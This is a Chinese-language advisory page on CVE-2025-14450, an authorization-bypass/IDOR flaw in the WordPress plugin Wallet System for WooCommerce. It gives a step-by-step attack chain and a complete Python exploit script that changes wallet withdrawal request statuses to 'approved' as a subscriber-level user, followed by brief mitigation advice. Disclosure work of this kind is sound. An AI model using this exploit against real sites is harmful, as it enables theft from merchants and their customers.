IPBUF安全漏洞报告
English
CVE-2025-14450 CVSS 6.5 中危

CVE-2025-14450 WordPress Wallet System for WooCommerce插件权限绕过漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-14450
漏洞类型
权限绕过/IDOR
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wallet System for WooCommerce

相关标签

权限绕过IDORWordPress插件Wallet System for WooCommerce电子商务安全AJAX漏洞CVE-2025-14450WooCommerce

漏洞概述

Wallet System for WooCommerce是WordPress平台上广受欢迎的钱包系统插件,为电商网站提供虚拟钱包功能。该插件在2.7.2及之前版本中存在严重的权限控制缺陷,'change_wallet_fund_request_status_callback' AJAX函数未进行权限验证,允许任何已认证用户(包括最低权限的Subscriber订阅者)调用该接口。此漏洞可被利用来操纵钱包提现请求状态,攻击者能够任意增加自己的钱包余额或恶意减少其他用户的余额,造成严重的经济损失。由于该漏洞攻击复杂度低且可远程利用,对使用该插件的所有WordPress电商网站构成直接威胁。

技术细节

该漏洞属于典型的IDOR(Insecure Direct Object Reference)权限绕过漏洞。在Wallet System for WooCommerce插件的class-wallet-system-ajaxhandler.php文件中,第140行的'change_wallet_fund_request_status_callback'函数直接处理钱包资金请求状态变更,但缺少WordPress的current_user_can()权限检查和nonce令牌验证。攻击者只需构造包含withdrawal request ID和新状态的AJAX请求,即可绕过认证机制修改任意提现请求状态。当请求状态被恶意修改为approved时,系统会执行相应的资金操作,导致攻击者余额增加或受害者余额减少。漏洞利用无需特殊工具,利用Burp Suite或简单Python脚本即可完成攻击。

攻击链分析

STEP 1
步骤1
攻击者注册WordPress账户并获取Subscriber级别权限(最低权限要求)
STEP 2
步骤2
攻击者通过AJAX接口枚举钱包提现请求ID,或直接猜测请求ID
STEP 3
步骤3
攻击者构造恶意AJAX请求,调用change_wallet_fund_request_status_callback函数
STEP 4
步骤4
将目标提现请求状态修改为approved,导致资金被错误地记入攻击者账户或从受害者账户扣除
STEP 5
步骤5
攻击者将非法获得的余额提现或购买商品,实现经济利益

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14450 PoC - Wallet System for WooCommerce Authorization Bypass # Target: WordPress site with vulnerable Wallet System for WooCommerce plugin <= 2.7.2 def exploit_wallet_system(target_url, username, password, victim_user_id, amount): """ Exploit IDOR vulnerability in change_wallet_fund_request_status_callback Allows attackers to manipulate wallet withdrawal requests and modify balances """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get withdrawal request list (enumerate request IDs) # Note: Attackers can also guess request IDs list_url = f"{target_url}/wp-admin/admin-ajax.php" list_data = { 'action': 'wallet_fund_request_list', 'length': 100, 'start': 0 } list_response = session.post(list_url, data=list_data) # Step 3: Exploit the vulnerability - change withdrawal request status # Set status to 'approved' to credit attacker's wallet exploit_data = { 'action': 'change_wallet_fund_request_status', 'request_id': 1, # Target withdrawal request ID 'status': 'approved', # Can also be 'rejected' to affect other users 'user_id': victim_user_id # Target user ID } exploit_response = session.post(list_url, data=exploit_data) if 'success' in exploit_response.text or 'true' in exploit_response.text.lower(): print(f"[+] Successfully manipulated withdrawal request status") print(f"[*] Attacker can increase balance or decrease victim's balance") return True else: print("[-] Exploitation may have failed or returned unexpected response") print(f"[*] Response: {exploit_response.text[:200]}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-14450_poc.py <target_url> <username> <password> <victim_id> <amount>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] victim = sys.argv[4] amt = sys.argv[5] exploit_wallet_system(target, user, pwd, victim, amt)

影响范围

Wallet System for WooCommerce <= 2.7.2

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:在WordPress主题的functions.php中添加临时权限限制代码,hook到wp_ajax_change_wallet_fund_request_status动作,在处理前验证用户权限。同时建议使用WordPress安全插件(如Wordfence)监控可疑的钱包操作行为,并审查近期所有钱包余额变更记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表